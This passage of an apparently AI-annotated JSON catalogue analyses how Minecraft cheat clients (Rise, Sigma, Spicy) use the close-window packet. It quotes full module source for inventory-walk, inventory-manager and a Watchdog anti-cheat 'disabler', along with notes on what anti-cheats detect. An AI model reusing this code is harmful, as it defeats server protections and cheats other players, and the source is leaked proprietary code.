    "server_handling": "processCloseWindow unconditionally runs closeContainer(): the carried item is dropped or returned, the open container is detached, and the player inventory container becomes active. No windowId validation, no cooldown. A C0D with no open container is ignored. Ordering against C0EPacketClickWindow matters: a C0D mid-batch ends the transaction window, and later C0E packets get S2FPacketSetSlot failure responses.",
    "protocol_notes": "One unsigned byte (writeByte(windowId)). Window 0 is the player inventory; S2DPacketOpenWindow assigns ids from 1 upward. Because the server ignores the id, module code freely alternates between C0D(0) and C0D(inventoryContainer.windowId). The packet is sent on the main thread from closeScreen(), so module-injected copies use raw send paths to avoid GUI state.",
    "anticheat_landscape": "NCP and similar treat container state as server truth: closing a window while C03 movement continues is normal, so cancelling C0D is itself the flag surface, not the movement. Anti-cheats also correlate the NoSlow ghost pattern (C0D(0) plus C0E(0, 36+slot, 6)) with item-use state. Blink-based disablers (Rise 6.x) buffer C0D inside the blink queue so its arrival timing is controlled rather than cancelled.",
    "modules": [
     {
      "name": "CancelInventoryMove / InvMove / InventoryWalk",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Sigma 4.11"
      ],
      "purpose": "Keep the server-side inventory open while walking by cancelling the open and close packets, then force-pressing movement keys so the client moves with the GUI up.",
      "how_it_works": "CancelInventoryMove cancels C16PacketClientStatus OPEN_INVENTORY_ACHIEVEMENT, C0BPacketEntityAction OPEN_INVENTORY and every C0DPacketCloseWindow on PacketSendEvent, and re-presses the movement keybindings on PreUpdateEvent. Rise 5.99 InvMove Packet mode additionally cancels C0E and re-sends it wrapped as C16 open + C0E + C0D(inventoryContainer.windowId) through PacketUtil.sendPacketWithoutEvent. Sigma InventoryWalk cancels C0D only when the CARRY setting is enabled.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/movement/inventorymove/CancelInventoryMove.java =====\npackage com.alan.clients.module.impl.movement.inventorymove;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreUpdateEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.impl.movement.InventoryMove;\nimport com.alan.clients.value.Mode;\nimport net.minecraft.client.gui.GuiChat;\nimport net.minecraft.client.settings.GameSettings;\nimport net.minecraft.client.settings.KeyBinding;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.network.play.client.C16PacketClientStatus;\n\npublic class CancelInventoryMove extends Mode<InventoryMove> {\n\n    public CancelInventoryMove(String name, InventoryMove parent) {\n        super(name, parent);\n    }\n\n    @EventLink\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof C16PacketClientStatus) {\n            final C16PacketClientStatus wrapper = (C16PacketClientStatus) p;\n\n            if (wrapper.getStatus() == C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT) {\n                event.setCancelled();\n            }\n        }\n\n        if (p instanceof C0BPacketEntityAction) {\n            final C0BPacketEntityAction wrapper = (C0BPacketEntityAction) p;\n\n            if (wrapper.getAction() == C0BPacketEntityAction.Action.OPEN_INVENTORY) {\n                event.setCancelled();\n            }\n        }\n\n        if (p instanceof C0DPacketCloseWindow) {\n            event.setCancelled();\n        }\n    };\n\n    private final KeyBinding[] AFFECTED_BINDINGS = new KeyBinding[]{\n            mc.gameSettings.keyBindForward,\n            mc.gameSettings.keyBindBack,\n            mc.gameSettings.keyBindRight,\n            mc.gameSettings.keyBindLeft,\n            mc.gameSettings.keyBindJump\n    };\n\n    @EventLink\n    public final Listener<PreUpdateEvent> onPreUpdate = event -> {\n        if (mc.currentScreen instanceof GuiChat || mc.currentScreen == this.getClickGUI()) {\n            return;\n        }\n\n        for (final KeyBinding bind : AFFECTED_BINDINGS) {\n            bind.setPressed(GameSettings.isKeyDown(bind));\n        }\n    };\n}\n// NOTE (AI): The C0D cancel is one of three; without it the server would close the window the moment the client walks, defeating the module. The keybinding re-press in PreUpdate is what lets the client move at all while a GUI is up.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/movement/inventorymove/CancelInventoryMove.java",
      "vanilla_hook": "PacketSendEvent (cancel) and PreUpdateEvent (key state).",
      "anti_cheat_notes": "Cancelling C0D is detectable server-side if the anti-cheat tracks the open-window state; the movement itself is legitimate, so this is a state-consistency flag, not a motion flag.",
      "variations": "Rise 5.99's InvMove gates the behavior behind a Packet setting and re-sends rewrapped clicks. Sigma's InventoryWalk cancels C0D only under CARRY and adds per-mode sprint handling (AACP, Cubecraft) with C0B and C16 cancels."
     },
     {
      "name": "InvManager / Manager / InventoryManager",
      "found_in": [
       "Rise 5.99",
       "Rise 6.2.4",
       "Rise 6.1.30",
       "Spicy"
      ],
      "purpose": "Drive a server-side inventory session for auto-sort and steal: open with C0B OPEN_INVENTORY, click via C0E, close with C0D(0), all without a visible GUI.",
      "how_it_works": "Rise 5.99 InvManager tracks invOpen: openInvServerSide sends C0BPacketEntityAction OPEN_INVENTORY, closeInvServerSide sends C0DPacketCloseWindow(0). Spicy InventoryManager tracks isInventoryOpen from the packet stream (C0D sets closed, C16 OPEN_INVENTORY sets open) and closeInv() sends C0D(inventoryContainer.windowId).",
      "detailed_code": "// ===== FILE: Rise 5.99, dev/rise/module/impl/player/InvManager.java =====\n/*\n Copyright Alan Wood 2021\n None of this code to be reused without my written permission\n Intellectual Rights owned by Alan Wood\n */\npackage dev.rise.module.impl.player;\n\nimport dev.rise.Rise;\nimport dev.rise.event.impl.motion.PreMotionEvent;\nimport dev.rise.module.Module;\nimport dev.rise.module.api.ModuleInfo;\nimport dev.rise.module.enums.Category;\nimport dev.rise.setting.impl.BooleanSetting;\nimport dev.rise.setting.impl.NumberSetting;\nimport dev.rise.util.math.TimeUtil;\nimport net.minecraft.block.BlockCarpet;\nimport net.minecraft.block.BlockDoor;\nimport net.minecraft.block.BlockFlower;\nimport net.minecraft.client.gui.inventory.GuiChest;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.enchantment.Enchantment;\nimport net.minecraft.enchantment.EnchantmentHelper;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.item.*;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport net.minecraft.network.play.client.C0DPacketCloseWindow;\nimport net.minecraft.util.DamageSource;\n\nimport java.util.*;\n\n// This is an old version of InvManager, Manager is the new InvManager.\n\n@ModuleInfo(name = \"InvManager\", description = \"Manages your inventory for you\", category = Category.PLAYER)\npublic final class InvManager extends Module {\n\n    private static int bestSwordSlot, bestPickaxeSlot, bestBowSlot, bestBlockSlot, bestGapSlot;\n    private static int[] bestArmorDamageReducment, bestArmorSlot;\n\n    //Lists\n    private final List<Integer> allSwords = new ArrayList<>();\n    private final List<Integer> allBows = new ArrayList<>();\n    private final List<Integer> allPickaxes = new ArrayList<>();\n    private final List<Integer>[] allArmors = new List[4];\n    private final List<Integer> allBlocks = new ArrayList<>();\n    private final List<Integer> trash = new ArrayList<>();\n\n    //Timers\n    private final TimeUtil delayTimer = new TimeUtil();\n    private final TimeUtil startDelayTimer = new TimeUtil();\n\n    //Settings\n    public NumberSetting minDelay = new NumberSetting(\"Min Delay\", this, 10, 0, 100, 5);\n    public NumberSetting maxDelay = new NumberSetting(\"Max Delay\", this, 20, 0, 100, 5);\n    public NumberSetting startDelay = new NumberSetting(\"Start Delay\", this, 20, 0, 100, 1);\n    public NumberSetting maxBlocks = new NumberSetting(\"Maximum Block Stacks\", this, 2, 0, 8, 1);\n    public BooleanSetting sort = new BooleanSetting(\"Sort\", this, true);\n    public BooleanSetting autoArmor = new BooleanSetting(\"Auto Armor\", this, true);\n    public BooleanSetting random = new BooleanSetting(\"Random\", this, true);\n    public BooleanSetting openInv = new BooleanSetting(\"Open Inv\", this, true);\n    public BooleanSetting keepArmor = new BooleanSetting(\"Keep Armor\", this, false);\n    public BooleanSetting onlyStill = new BooleanSetting(\"Only When Standing Still\", this, false);\n\n    private boolean invOpen;\n\n    @Override\n    public void onPreMotion(final PreMotionEvent event) {\n        closeInvServerSide();\n\n        if (Objects.requireNonNull(Rise.INSTANCE.getModuleManager().getModule(\"Scaffold\")).isEnabled() || mc.currentScreen instanceof GuiChest)\n            return;\n\n        if (onlyStill.isEnabled() && (mc.gameSettings.keyBindJump.isKeyDown() || mc.gameSettings.keyBindForward.isKeyDown() || mc.gameSettings.keyBindLeft.isKeyDown() || mc.gameSettings.keyBindBack.isKeyDown() || mc.gameSettings.keyBindRight.isKeyDown()))\n            return;\n\n        searchForItems();\n        searchForBestArmor();\n        searchForTrash();\n\n        //Drop Trash\n        if (!keepArmor.isEnabled()) {\n            for (final int slot : trash) {\n                if (hasNoDelay())\n                    return;\n\n                try {\n                    openInvServerSide();\n                    mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot < 9 ? slot + 36 : slot, 1, 4, mc.thePlayer); //windowID - slot to Drop - Mouse Button 4 for Item Drop - Player\n\n                } catch (final IndexOutOfBoundsException p) {\n                }\n\n                delayTimer.reset();\n            }\n        }\n\n        //AutoArmor\n        if (autoArmor.isEnabled()) {\n\n            for (int i = 0; i < 4; i++) {\n                if (bestArmorSlot[i] != -1) {\n                    final int bestSlot = bestArmorSlot[i];\n                    final ItemStack oldArmor = mc.thePlayer.inventory.armorItemInSlot(i);\n\n                    if (hasNoDelay()) return;\n\n                    //Drop old Armor\n                    if (oldArmor != null && oldArmor.getItem() != null && !keepArmor.isEnabled()) {\n                        openInvServerSide();\n                        mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, 8 - i, 0, 4, mc.thePlayer);\n                        delayTimer.reset();\n                    }\n\n                    final int slot = bestSlot < 9 ? bestSlot + 36 : bestSlot;\n\n                    if (hasNoDelay()) return;\n\n                    //Equip new armor\n                    openInvServerSide();\n                    mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot, 0, 1, mc.thePlayer);\n                    delayTimer.reset();\n                }\n            }\n        }\n\n        //Sort Inventory\n        if (sort.isEnabled()) {\n            final int switchSlotSword = 0;\n            final int switchSlotBow = 1;\n            final int switchSlotPickaxe = 2;\n            final int switchSlotBlock = 8;\n            final int switchGap = 7;\n\n            //Sword Switch\n            if (bestSwordSlot != -1 && bestSwordSlot != switchSlotSword) {\n                final int slot = bestSwordSlot < 9 ? bestSwordSlot + 36 : bestSwordSlot;\n                if (hasNoDelay() && slot != switchSlotSword)\n                    return;\n                openInvServerSide();\n                try {\n                    mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot, switchSlotSword, 2, mc.thePlayer); //windowID - current Slot - destination Slot - Player\n                } catch (final Exception ignored) {\n                }\n                delayTimer.reset();\n            }\n\n            //Bow Switch\n            if (bestBowSlot != -1 && bestBowSlot != switchSlotBow) {\n                final int slot = bestBowSlot < 9 ? bestBowSlot + 36 : bestBowSlot;\n                if (hasNoDelay() && slot != switchSlotBow)\n                    return;\n                openInvServerSide();\n                try {\n                    mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot, switchSlotBow, 2, mc.thePlayer); //windowID - current Slot - destination Slot - Player\n                } catch (final Exception ignored) {\n                }\n                delayTimer.reset();\n            }\n\n            //Pickaxe Switch\n            if (bestPickaxeSlot != -1 && bestPickaxeSlot != switchSlotPickaxe) {\n                final int slot = bestPickaxeSlot < 9 ? bestPickaxeSlot + 36 : bestPickaxeSlot;\n                if (hasNoDelay() && slot != switchSlotPickaxe)\n                    return;\n                openInvServerSide();\n                try {\n                    mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot, switchSlotPickaxe, 2, mc.thePlayer); //windowID - current Slot - destination Slot - Player\n                } catch (final Exception ignored) {\n                }\n                delayTimer.reset();\n            }\n\n            //Block Switch\n            if (bestBlockSlot != -1 && bestBlockSlot != switchSlotBlock) {\n                final int slot = bestBlockSlot < 9 ? bestBlockSlot + 36 : bestBlockSlot;\n                if (mc.thePlayer.inventory.getStackInSlot(switchSlotBlock) != null && mc.thePlayer.inventory.getStackInSlot(switchSlotBlock).getItem() instanceof ItemBlock)\n                    return;\n                if (hasNoDelay() && slot != switchSlotBlock)\n                    return;\n                openInvServerSide();\n                try {\n                    mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot, switchSlotBlock, 2, mc.thePlayer); //windowID - current Slot - destination Slot - Player\n                } catch (final Exception ignored) {\n                }\n                delayTimer.reset();\n            }\n\n            //Gap Switch\n            if (bestGapSlot != -1 && bestGapSlot != switchGap) {\n                final int slot = bestGapSlot < 9 ? bestGapSlot + 36 : bestGapSlot;\n                if (hasNoDelay() && slot != switchGap)\n                    return;\n                openInvServerSide();\n                try {\n                    mc.playerController.windowClick(mc.thePlayer.inventoryContainer.windowId, slot, switchGap, 2, mc.thePlayer); //windowID - current Slot - destination Slot - Player\n                } catch (final Exception ignored) {\n                }\n                delayTimer.reset();\n            }\n        }\n    }\n\n    private void openInvServerSide() {\n        if (!invOpen && !openInv.isEnabled()) {\n            mc.thePlayer.sendQueue.addToSendQueue(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.OPEN_INVENTORY));\n            invOpen = true;\n        }\n    }\n\n    private void closeInvServerSide() {\n        if (invOpen && !openInv.isEnabled()) {\n            mc.thePlayer.sendQueue.addToSendQueue(new C0DPacketCloseWindow(0));\n            invOpen = false;\n        }\n    }\n\n    private boolean hasNoDelay() {\n        return !startDelayTimer.hasReached((long) ((long) startDelay.getValue() * 10 + Math.random() * 2)) || !delayTimer.hasReached((long) (Math.random() * (maxDelay.getValue() * 10 - minDelay.getValue() * 10 + 1) + minDelay.getValue() * 10)) || (!(mc.currentScreen instanceof GuiInventory)) && openInv.isEnabled();\n    }\n\n    private void searchForTrash() {\n        //Clear the Trash List\n        trash.clear();\n\n        //Filter the best Armor\n        for (int i = 0; i < allArmors.length; i++) {\n            final List<Integer> armorItem = allArmors[i];\n            if (armorItem != null) {\n                final int finalI = i;\n                armorItem.stream().filter(slot -> slot != bestArmorSlot[finalI]).forEach(trash::add);\n            }\n        }\n\n        //Filter the best Items\n        allBows.stream().filter(slot -> slot != bestBowSlot).forEach(trash::add);\n        allSwords.stream().filter(slot -> slot != bestSwordSlot).forEach(trash::add);\n        allPickaxes.stream().filter(slot -> slot != bestPickaxeSlot).forEach(trash::add);\n\n        // Throw blocks after the limit is reached.\n        int blockStacks = allBlocks.size();\n\n        for (final int slot : allBlocks) {\n            if (blockStacks <= Math.round(maxBlocks.getValue() + 1)) break;\n\n            trash.add(slot);\n            blockStacks -= 1;\n        }\n\n        //Random Option\n        if (random.isEnabled()) Collections.shuffle(trash);\n        else Collections.sort(trash);\n    }\n\n    private void searchForBestArmor() {\n        //Reset all Stats and Slots\n        bestArmorDamageReducment = new int[4];\n        bestArmorSlot = new int[4];\n\n        //Fill Arrays\n        Arrays.fill(bestArmorDamageReducment, -1);\n        Arrays.fill(bestArmorSlot, -1);\n\n        //Fill Array with current Armor\n        for (int i = 0; i < bestArmorSlot.length; i++) {\n            final ItemStack itemStack = mc.thePlayer.inventory.armorItemInSlot(i);\n            allArmors[i] = new ArrayList<>();\n\n            if (itemStack != null && itemStack.getItem() != null) {\n                if (itemStack.getItem() instanceof ItemArmor) {\n                    final ItemArmor armor = (ItemArmor) itemStack.getItem();\n                    final int currentProtection = armor.damageReduceAmount + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{itemStack}, DamageSource.generic); //Get the Reduce amount of the ArmorType and Protection Level\n                    bestArmorDamageReducment[i] = currentProtection;\n                }\n            }\n        }\n\n        //Search for better Armor in Inventory\n        for (int i = 0; i < 9 * 4; i++) {\n            final ItemStack itemStack = mc.thePlayer.inventory.getStackInSlot(i);\n            if (itemStack == null || itemStack.getItem() == null) continue;\n\n            if (itemStack.getItem() instanceof ItemArmor) {\n                final ItemArmor armor = (ItemArmor) itemStack.getItem();\n\n                final int armorType = 3 - armor.armorType; //Slots reversed for some reason\n                allArmors[armorType].add(i);\n                final int slotProtectionLevel = armor.damageReduceAmount + EnchantmentHelper.getEnchantmentModifierDamage(new ItemStack[]{itemStack}, DamageSource.generic); //Get the Reduce amount of the ArmorType and Protection Level\n\n                if (bestArmorDamageReducment[armorType] < slotProtectionLevel) {\n                    bestArmorDamageReducment[armorType] = slotProtectionLevel;\n                    bestArmorSlot[armorType] = i;\n                }\n\n            }\n        }\n    }\n\n\n    private void searchForItems() {\n        //Reset all Slots\n        bestSwordSlot = -1;\n        bestBowSlot = -1;\n        bestPickaxeSlot = -1;\n        bestBlockSlot = -1;\n        bestGapSlot = -1;\n\n        allSwords.clear();\n        allBows.clear();\n        allPickaxes.clear();\n        allBlocks.clear();\n\n        //Other Stats\n        float bestSwordDamage = -1, bestSwordDurability = -1, bestPickaxeEfficiency = -1, bestPickaxeDurability = -1, bestBowDurability = -1;\n        int bestBowDamage = -1, bestBlockSize = -1;\n        int gapStackSize = -1;\n\n        for (int i = 0; i < 9 * 4; i++) {\n            final ItemStack itemStack = mc.thePlayer.inventory.getStackInSlot(i);\n            if (itemStack == null || itemStack.getItem() == null) continue;\n\n            //Search for best Sword\n            if (itemStack.getItem() instanceof ItemSword) {\n                final ItemSword sword = (ItemSword) itemStack.getItem();\n                final int level = EnchantmentHelper.getEnchantmentLevel(Enchantment.sharpness.effectId, itemStack);\n                final float damageLevel = (float) (sword.getDamageVsEntity() + level * 1.25); //Enchantment Multiplier\n\n                allSwords.add(i);\n\n                if (bestSwordDamage < damageLevel) {\n                    bestSwordDamage = damageLevel;\n                    bestSwordDurability = sword.getDamageVsEntity();\n                    bestSwordSlot = i;\n                }\n\n                if ((damageLevel == bestSwordDamage) && (sword.getDamageVsEntity() < bestSwordDurability)) {\n                    bestSwordDurability = sword.getDamageVsEntity();\n                    bestSwordSlot = i;\n                }\n            }\n\n            //Search for best Pickaxe\n            if (itemStack.getItem() instanceof ItemPickaxe) {\n                final ItemPickaxe pickaxe = (ItemPickaxe) itemStack.getItem();\n                allPickaxes.add(i);\n\n                final float efficiencyLevel = getPickaxeEfficiency(pickaxe);\n\n                if (bestPickaxeEfficiency < efficiencyLevel) {\n                    bestPickaxeEfficiency = efficiencyLevel;\n                    bestPickaxeDurability = pickaxe.getMaxDamage();\n                    bestPickaxeSlot = i;\n                }\n\n                if ((efficiencyLevel == bestPickaxeEfficiency) && (pickaxe.getMaxDamage() < bestPickaxeDurability)) {\n                    bestPickaxeDurability = pickaxe.getMaxDamage();\n                    bestPickaxeSlot = i;\n                }\n            }\n\n            //Search for best Bow\n            if (itemStack.getItem() instanceof ItemBow) {\n                final ItemBow bow = (ItemBow) itemStack.getItem();\n                final int level = EnchantmentHelper.getEnchantmentLevel(Enchantment.power.effectId, itemStack);\n                allBows.add(i);\n\n                if (bestBowDamage < level || (bestBowDamage == -1 && level == 0)) {\n                    bestBowDamage = level;\n                    bestBowDurability = bow.getMaxDamage();\n                    bestBowSlot = i;\n                }\n\n                if ((level == bestBowDamage) && bow.getMaxDamage() < bestBowDurability) {\n                    bestBowDurability = bow.getMaxDamage();\n                    bestBowSlot = i;\n                }\n            }\n\n            //Search for Blocks\n            if (itemStack.getItem() instanceof ItemBlock) {\n                final ItemBlock block = (ItemBlock) itemStack.getItem();\n\n                if (block.getBlock() == Blocks.web || block.getBlock() == Blocks.bed || block.getBlock() == Blocks.noteblock || block.getBlock() == Blocks.cactus || block.getBlock() == Blocks.cake || block.getBlock() == Blocks.anvil || block.getBlock() == Blocks.skull || block.getBlock() instanceof BlockDoor || block.getBlock() instanceof BlockFlower || block.getBlock() instanceof BlockCarpet)\n                    continue;\n\n                allBlocks.add(i);\n\n                if (bestBlockSize < itemStack.stackSize) {\n                    bestBlockSize = itemStack.stackSize;\n                    bestBlockSlot = i;\n                }\n            }\n\n            // Search for Gaps.\n            if (itemStack.getItem() instanceof ItemAppleGold) {\n                if (gapStackSize < itemStack.stackSize) {\n                    gapStackSize = itemStack.stackSize;\n                    bestGapSlot = i;\n                }\n            }\n        }\n    }\n\n    private float getPickaxeEfficiency(final ItemPickaxe pickaxe) {\n        int level = EnchantmentHelper.getEnchantmentLevel(Enchantment.efficiency.effectId, new ItemStack(pickaxe));\n\n        //Percentage of Efficiency per Level\n        switch (level) {\n            case 1:\n                level = 30;\n                break;\n            case 2:\n                level = 69;\n                break;\n            case 3:\n                level = 120;\n                break;\n            case 4:\n                level = 186;\n                break;\n            case 5:\n                level = 271;\n                break;\n\n            default:\n                level = 0;\n                break;\n        }\n\n        return pickaxe.getToolMaterial().getEfficiencyOnProperMaterial() + level;\n    }\n\n}\n// NOTE (AI): closeInvServerSide sends C0D(0) after the click batch; window 0 works because the server ignores the id. Spicy's InventoryManager instead derives its open state from incoming C0D packets and replies with the inventory container id.",
      "code_source": "Rise 5.99, dev/rise/module/impl/player/InvManager.java",
      "vanilla_hook": "Module state methods; sends via addToSendQueue, not event interception.",
      "anti_cheat_notes": "A server-side inventory that opens and closes rapidly looks like GUI spam; the click and close pattern is the measurable surface, not the C0D itself.",
      "variations": "Rise 6.x Manager sends C0D(inventoryContainer.windowId) after its open cycle. Spicy tracks open state passively in both onEvent and onEventWhenDisabled, and its autoArmor module resets its timer whenever a packet batch is sent."
     },
     {
      "name": "WatchdogDisabler",
      "found_in": [
       "Rise 6.2.4",
       "Rise 6.1.30"
      ],
      "purpose": "Emit C0D outside the event stream so the inventory close participates in a blink sequence without being cancellable or reorderable by other modules.",
      "how_it_works": "With the Inventory toggle on, clicks on the player inventory are cancelled on PacketSendEvent and re-sent unregistered as C16 OPEN_INVENTORY plus the C0E; on the next PreUpdate a tick counter fires BlinkComponent.dispatch and sends C0D(inventoryContainer.windowId) via sendUnregisteredPacket on the raw NetworkManager.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/WatchdogDisabler.java =====\npackage com.alan.clients.module.impl.exploit.disabler;\n\nimport com.alan.clients.component.impl.player.*;\nimport com.alan.clients.component.impl.player.rotationcomponent.MovementFix;\nimport com.alan.clients.component.impl.render.NotificationComponent;\nimport com.alan.clients.component.impl.render.espcomponent.api.ESP;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.input.MoveInputEvent;\nimport com.alan.clients.event.impl.input.KeyboardInputEvent;\nimport com.alan.clients.event.impl.input.MoveInputEvent;\nimport com.alan.clients.event.impl.motion.PostStrafeEvent;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.motion.PreUpdateEvent;\nimport com.alan.clients.event.impl.motion.StrafeEvent;\nimport com.alan.clients.event.impl.other.MoveEvent;\nimport com.alan.clients.event.impl.other.TeleportEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.event.impl.render.ViewBobbingEvent;\nimport com.alan.clients.module.impl.exploit.Disabler;\nimport com.alan.clients.module.impl.movement.Flight;\nimport com.alan.clients.module.impl.movement.LongJump;\nimport com.alan.clients.module.impl.movement.Speed;\nimport com.alan.clients.module.impl.player.Scaffold;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.PlayerUtil;\nimport com.alan.clients.util.rotation.RotationUtil;\nimport com.alan.clients.util.vector.Vector2f;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.BooleanValue;\nimport net.minecraft.client.gui.inventory.GuiInventory;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.S07PacketRespawn;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S32PacketConfirmTransaction;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport net.minecraft.util.Vec3;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.*;\nimport java.util.concurrent.ThreadLocalRandom;\n\npublic class WatchdogDisabler extends Mode<Disabler> {\n    private float forward, strafe;\n    private boolean disabled;\n    private List<Short> actionNumbers;\n    private StopWatch transactionStopwatch;\n    private Queue<Vec3> positionQueue;\n    private Queue<Packet<?>> transactionQueue;\n    private Queue<Packet<?>> blinkQueue;\n    private StopWatch pingStopwatch;\n    private Integer tick;\n    private Integer ticks;\n    private boolean isSneaking;\n    private boolean set;\n    private boolean jump;\n    private double initialY = 0;\n    int time;\n    private int worldChange = 0;\n    private boolean checkedAfterTicks = false;\n    public WatchdogDisabler(String name, Disabler parent) {\n        super(name, parent);\n\n        this.positionQueue = new ArrayDeque<>();\n        this.transactionQueue = new ArrayDeque<>();\n        this.pingStopwatch = new StopWatch();\n        this.blinkQueue = new ArrayDeque<>();\n        this.actionNumbers = new ArrayList<>();\n        this.transactionStopwatch = new StopWatch();\n    }\n\n    public final BooleanValue scaffold = new BooleanValue(\"Strafe\", this, true);\n    public final BooleanValue ban = new BooleanValue(\"Jump\", this, true);\n    public final BooleanValue inventory = new BooleanValue(\"Inventory\", this, false);\n\n    @EventLink\n    private final Listener<TeleportEvent> onTeleport = event -> {\n    };\n    @EventLink(value = Priorities.HIGH)\n    Listener<MoveInputEvent> moveInput = event -> {\n        forward = event.getForward();\n        strafe = event.getStrafe();\n    };\n\n\n\n    @EventLink\n    private final Listener<PreMotionEvent> PreMotionEvent = event -> {\n        mc.gameSettings.ofDynamicFov = false;\n        time++;\n        if ((getModule(Flight.class).isEnabled() || getModule(LongJump.class).isEnabled())  && mc.thePlayer.offGroundTicks<5){\n            time = -4;\n            if(!mc.thePlayer.isSprinting()){\n                event.setSprinting(true);\n            }\n\n        }\n        switch (time) {\n\n            case 1:\n                event.setSprinting(true);\n                //    ChatUtil.display(\"start\");\n                // Send the START_SPRINTING packet\n                //     PacketUtil.send(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING));\n                // Set time to 2 to send STOP_SPRINTING in the next call\n\n                break;\n\n            case 2:\n                event.setSprinting(false);\n                //   ChatUtil.display(\"stop\");\n//ChatUtil.display(\"stop\");\n                //   mc.thePlayer.setSprinting(false);\n                //       PacketUtil.send(new C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING));\n\n                // Reset time to 1 for the next cycle\n                time = (int) Math.round(-(Math.random()+1));\n                //   ChatUtil.display(time);\n                break;\n\n        }\n        /*\n        if (ban.getValue()) {\n            if (!this.actionNumbers.isEmpty() && this.transactionStopwatch.finished(1000L)) {\n                Collections.shuffle(this.actionNumbers);\n                this.actionNumbers.forEach(action -> mc.getNetHandler().getNetworkManager().sendPacket(new C0FPacketConfirmTransaction(0, action, true)));\n                this.actionNumbers.clear();\n                this.disabled = true;\n            }\n        }\n\n         */\n\n\n        worldChange++;\n        if (ban.getValue() && (mc.thePlayer.inventory.getStackInSlot(0) == null || mc.thePlayer.inventory.getStackInSlot(0).getItem() != Items.compass)) {\n\n            if (jump && mc.thePlayer.onGround) {\n\n                mc.thePlayer.jump();\n\n                jump = false;\n                set = true;\n\n            } else if (mc.thePlayer.offGroundTicks >= 10 && set) {\n\n                if (!BadPacketsComponent.bad(true, true, true, true, true) && !(getModule(Scaffold.class).isEnabled())) {\n                    Random random = new Random();\n                    float hitX = random.nextFloat();\n                    float hitZ = random.nextFloat();\n                PacketUtil.send(new C08PacketPlayerBlockPlacement(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ), EnumFacing.UP.getIndex(), new ItemStack(Items.water_bucket), hitX, 1.0F, hitZ));\n                }\n                if (mc.thePlayer.offGroundTicks % 2 == 0) {\n\n                    RotationComponent.setRotations(new Vector2f((float) (mc.thePlayer.rotationYaw - (10) + (Math.random() - 0.5) * 3), (float) (mc.thePlayer.rotationPitch)), 4, MovementFix.OFF);// Store the BlockPos in a variabl\n                    event.setPosX(event.getPosX() + 0.095+Math.random()/100);\n                }\n            }\n        }\n        if (scaffold.getValue()) {\n            if (Math.random()<0.2 &&  !getModule(Scaffold.class).isEnabled() &&  !getModule(Flight.class).isEnabled() &&  !getModule(LongJump.class).isEnabled()) {\n                if (!BadPacketsComponent.bad(true, true, false, true, true) && !(getModule(Scaffold.class).isEnabled())) {\n                    //   ChatUtil.display(\"send\");s\n\n\n                    Random random = new Random();\n                    float hitX = random.nextFloat();\n                    float hitZ = random.nextFloat();\n\n                    PacketUtil.send(new C08PacketPlayerBlockPlacement(new BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ), EnumFacing.UP.getIndex(), new ItemStack(Items.water_bucket), hitX, 1.0F, hitZ));\n                }\n            }\n\n        }\n    };\n\n    @EventLink\n    private final Listener<MoveEvent> moveEventListener = event -> {\n        if (ban.getValue() && mc.thePlayer.offGroundTicks >= 10 && set) {\n            event.setPosX(0); event.setPosY(0); event.setPosZ(0);\n        }\n    };\n\n\n\n    @EventLink\n    private final Listener<PacketReceiveEvent> packetReceiveEventListener = event -> {\n\n        if (event.getPacket() instanceof S08PacketPlayerPosLook) {\n            if (ticks != null) {\n                ticks++;\n                if (ticks == 25) {\n                    set = false;\n                    ticks = 0;\n                    NotificationComponent.post(\"Watchdog Jump Disabler\", \"Automatically disabled Watchdog Jump check\", 1000);\n                }\n\n            }\n        }\n    